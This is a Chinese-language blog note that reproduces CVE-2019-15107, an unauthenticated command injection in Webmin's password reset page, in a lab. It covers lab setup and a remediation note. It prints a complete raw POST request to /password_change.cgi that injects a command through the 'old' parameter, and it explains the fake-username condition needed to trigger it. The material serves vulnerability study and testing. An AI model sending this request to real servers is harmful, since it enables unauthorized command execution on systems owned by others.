CVE-2019-15107 Webmin远程命令执行漏洞复现

  • 2019 年 10 月 6 日
  • 笔记

0X1 漏洞概述

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

影响版本

Webmin  <= 1.920 

0X2 环境搭建

根据最新消息,该应用在官方提供的sourceforge下载的源码才包含这个漏洞,而官方Github上的代码是安全的。这也证明这个RCE漏洞很有可能是一次供应链攻击,黑客控制了官方sourceforge账户并植入了后门。在sourceforge上下载,链接如下

https://sourceforge.net/projects/webadmin/files/webmin/1.920/

在这里,我们下载deb安装包,在ubuntu16.04中安装,如下:

如果报错,按照提示更新系统就可以了。安装成功之后,以root账户身份登录即可。

https://192.167.0.217:10000/sysinfo.cgi?xnavigation=1

登录之后点击authentication修改密码重置配置

查看配置文件

cat /etc/webmin/miniserv.conf

0X3 漏洞利用

访问/password_change.cgi链接,抓包注入命令

POST  /password_change.cgi HTTP/1.1  Host: 192.167.0.217:10000  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  Accept-Encoding: gzip, deflate  Cookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1  DNT: 1  Connection: close  Upgrade-Insecure-Requests: 1  Content-Length: 60    user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

这里的user值要是用的是一个假的用户,使用真实的root测试不成功,只有在发送的用户参数的值不是已知的Linux用户的情况下(而参考链接中是user=root123),展示进入才会到修改/etc/shadow的地方,触发命令注入漏洞

查看response

可以看到命令执行成功!

0X3 漏洞修复

升级到最新的1.9.30版本即可

参考链接

http://www.webmin.com/index.html

https://www.exploit-db.com/exploits/47230

https://blog.firosolutions.com/exploits/webmin/

https://github.com/vulhub/vulhub/blob/master/webmin/CVE-2019-15107/README.zh-cn.md